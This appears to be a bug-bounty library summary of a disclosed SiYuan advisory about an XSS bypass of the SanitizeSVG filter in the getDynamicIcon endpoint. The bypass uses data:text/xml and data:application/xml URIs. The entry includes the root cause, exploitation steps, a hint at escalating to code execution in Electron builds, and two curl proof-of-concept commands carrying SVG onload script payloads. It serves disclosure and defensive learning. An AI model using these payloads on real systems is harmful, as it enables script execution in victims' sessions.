# SiYuan has a SanitizeSVG bypass via data:text/xml in getDynamicIcon (incomplete fix for CVE-2026-29183)

SiYuan's SanitizeSVG blocklist misses data:text/xml and data:application/xml, letting unauthenticated attackers craft getDynamicIcon URLs that execute JS on click.

- Payout: Research
- Severity: critical
- Program: SiYuan
- Found by: vnykmshr
- Disclosed: 2026-03-17
- CVE: CVE-2026-32940
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-4mx9-3c2h-hwhg
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-4mx9-3c2h-hwhg
- Tags: area:web domain:web impact:integrity kind:research platform:ghsa sev:critical tech:go technique:incomplete-fix technique:parser-differential technique:source-review vuln:misconfiguration vuln:xss

**Target:** /api/icon/getDynamicIcon endpoint (type=8 content param) rendering SVG
**Root cause:** SanitizeSVG only blocklists data:text/html, data:image/svg+xml and application/xhtml+xml in href attributes; data:text/xml and data:application/xml also render SVG with onload JS execution. The content param is embedded into the SVG via fmt.Sprintf without escaping.
**Steps:**
1. Send `curl -s --get "http://127.0.0.1:6806/api/icon/getDynamicIcon" --data-urlencode 'type=8' --data-urlencode 'content=</text><a href="data:text/xml,%3Csvg xmlns=%27http://www.w3.org/2000/svg%27 onload=%27alert(document.domain)%27/%3E">click</a><text>'`
2. Observe the `<a href="data:text/xml,...">` element preserved in the returned SVG (Content-Type image/svg+xml)
3. Confirm `data:text/html` payload has its href stripped, while `data:application/xml` variant also survives
4. Victim navigates directly to the crafted endpoint URL (or embeds via `<object>`/`<embed>`) and clicks the injected link, firing the SVG onload JS
**How found:** Reviewed the SanitizeSVG fix for CVE-2026-29183, noticed the data: URI check was a three-entry blocklist, and hypothesized other XML MIME types would also render SVG with script execution; tested data:text/xml and data:application/xml against the endpoint and confirmed onload fires in Chromium 136.
**Exploitation:** Attacker crafts an unauthenticated getDynamicIcon URL whose content param breaks out of the SVG text node and injects an anchor with a data:text/xml SVG payload carrying onload JS. Victim must navigate directly to the endpoint URL (or embed it via object/embed) and click the link; the data: SVG then executes JS in the SiYuan origin. Requires user interaction; img-tag rendering in the frontend would not be interactive.
**Escalation:** In Electron desktop builds, impact depends on nodeIntegration/contextIsolation; issue #15970 explored an XSS-to-RCE path.
**Insight:** When a sanitizer blocklists data: URI MIME types, enumerate every MIME that browsers render as active content (text/xml, application/xml, text/xsl, multipart/) rather than testing only the obvious html/svg ones; a three-entry blocklist signals an incomplete fix worth probing.

## Proof of concept (copied exactly from the original report)

**curl PoC data:text/xml bypass in getDynamicIcon**

```
curl -s --get "http://127.0.0.1:6806/api/icon/getDynamicIcon" \
  --data-urlencode 'type=8' \
  --data-urlencode 'content=</text><a href="data:text/xml,%3Csvg xmlns=%27http://www.w3.org/2000/svg%27 onload=%27alert(document.domain)%27/%3E">click</a><text>' \
  | grep -o '<a [^>]*>'
# Output: <a href="data:text/xml,%3Csvg xmlns=%27http://www.w3.org/2000/svg%27 onload=%27alert(document.domain)%27/%3E">
```

**curl PoC data:application/xml bypass**

```
curl -s --get "http://127.0.0.1:6806/api/icon/getDynamicIcon" \
  --data-urlencode 'type=8' \
  --data-urlencode 'content=</text><a href="data:application/xml,%3Csvg xmlns=%27http://www.w3.org/2000/svg%27 onload=%27alert(1)%27/%3E">click</a><text>' \
  | grep -o '<a [^>]*>'
# Output: <a href="data:application/xml,...">  (href preserved)
```

